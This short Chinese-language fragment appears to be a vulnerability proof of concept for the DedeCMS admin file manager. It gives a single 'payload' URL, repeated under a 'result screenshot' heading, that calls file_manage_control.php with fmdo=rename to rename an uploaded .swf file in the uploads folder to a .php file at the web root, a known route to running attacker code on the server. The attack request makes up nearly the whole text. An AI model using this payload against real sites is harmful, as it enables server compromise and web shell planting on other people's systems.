一、payload如下：
1 | http://localhost/dede/file_manage_control.php?fmdo=rename&oldfilename=/uploads/media/180330/1_2146195021.swf&newfilename=/mochazz.php |
二、效果图：
1 | http://localhost/dede/file_manage_control.php?fmdo=rename&oldfilename=/uploads/media/180330/1_2146195021.swf&newfilename=/mochazz.php |